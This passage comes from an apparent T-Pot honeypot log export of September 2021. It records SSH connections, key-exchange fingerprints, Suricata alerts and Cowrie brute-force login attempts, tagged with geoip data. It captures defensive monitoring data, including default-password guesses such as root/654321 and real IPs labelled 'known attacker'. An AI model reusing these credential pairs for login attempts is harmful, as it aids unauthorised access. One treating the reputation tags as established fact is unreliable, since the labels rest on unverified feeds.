"AAADzAYUq28FHGRGEp3lqs4E9NWT3QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59400, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:49:50.795871Z", "@timestamp": "2021-09-20T11:49:50.795Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......o..dF.............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32108	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:50.620925+03	2021-09-20 15:00:03.052716+03	{"_id": "igYKA3wBvYTbRNuEfUie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59400, "timestamp": "2021-09-20T11:49:50.620925", "@timestamp": "2021-09-20T11:49:50.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32109	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:51.567599+03	2021-09-20 15:00:03.053717+03	{"_id": "jAYKA3wBvYTbRNuEfkj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/654321] failed", "session": "beda5f4e499a", "@version": "1", "password": "654321", "username": "root", "timestamp": "2021-09-20T11:49:51.567599Z", "@timestamp": "2021-09-20T11:49:51.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32110	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:49:51.590331+03	2021-09-20 15:00:03.055717+03	{"_id": "jQYKA3wBvYTbRNuEfkj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [sftp/1234] failed", "session": "986dfcc6610c", "@version": "1", "password": "1234", "username": "sftp", "timestamp": "2021-09-20T11:49:51.590331Z", "@timestamp": "2021-09-20T11:49:51.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32111	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:49:52.769278+03	2021-09-20 15:00:03.056717+03	{"_id": "jgYKA3wBvYTbRNuEgkjg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "986dfcc6610c", "@version": "1", "duration": 2.1509435176849365, "timestamp": "2021-09-20T11:49:52.769278Z", "@timestamp": "2021-09-20T11:49:52.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32112	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:03.319108+03	2021-09-20 15:00:03.057716+03	{"_id": "qAYKA3wBvYTbRNuErUje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "78144d271630", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:03.319108Z", "@timestamp": "2021-09-20T11:50:03.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32113	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:50:03.604486+03	2021-09-20 15:00:03.059716+03	{"_id": "rAYKA3wBvYTbRNuEr0hn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:50:03.173636+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1734863814895172, "payload": "AAADzAYUqf6hNQIAPinSBCaT/iD8ygAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60684, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:03.604486Z", "@timestamp": "2021-09-20T11:50:03.604Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........5..>)..&.. .....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32114	107.173.209.238	109.199.241.180	Fatt	2021-09-20 14:50:03.604486+03	2021-09-20 15:00:03.060716+03	{"_id": "rQYKA3wBvYTbRNuEsEht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60684, "dest_port": 22, "timestamp": "2021-09-20T11:50:03.604486", "@timestamp": "2021-09-20T11:50:03.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32115	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:05.295972+03	2021-09-20 15:00:03.061717+03	{"_id": "rgYKA3wBvYTbRNuEtEhV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60912, "timestamp": "2021-09-20T11:50:05.295972", "@timestamp": "2021-09-20T11:50:05.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32116	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:50:07.853531+03	2021-09-20 15:00:03.063716+03	{"_id": "xgYKA3wBvYTbRNuEv0gJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:50:07.502523+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 438513836206843, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56914, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:07.853531Z", "@timestamp": "2021-09-20T11:50:07.853Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
32117	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:07.856413+03	2021-09-20 15:00:03.064716+03	{"_id": "xwYKA3wBvYTbRNuEwEgP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56914, "timestamp": "2021-09-20T11:50:07.856413", "@timestamp": "2021-09-20T11:50:07.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32118	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:49:48.669389+03	2021-09-20 15:00:03.066716+03	{"_id": "YQYKA3wBvYTbRNuEc0g8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:2373 (192.168.176.2:22) [session: 4e021f97b301]", "session": "4e021f97b301", "@version": "1", "protocol": "ssh", "src_port": 2373, "dest_port": 22, "timestamp": "2021-09-20T11:49:48.669389Z", "@timestamp": "2021-09-20T11:49:48.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
32119	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:49:48.670525+03	2021-09-20 15:00:03.067717+03	{"_id": "YgYKA3wBvYTbRNuEc0g8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4e021f97b301", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:48.670525Z", "@timestamp": "2021-09-20T11:49:48.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
32120	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:49:48.897931+03	2021-09-20 15:00:03.068717+03	{"_id": "YwYKA3wBvYTbRNuEdEjG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", 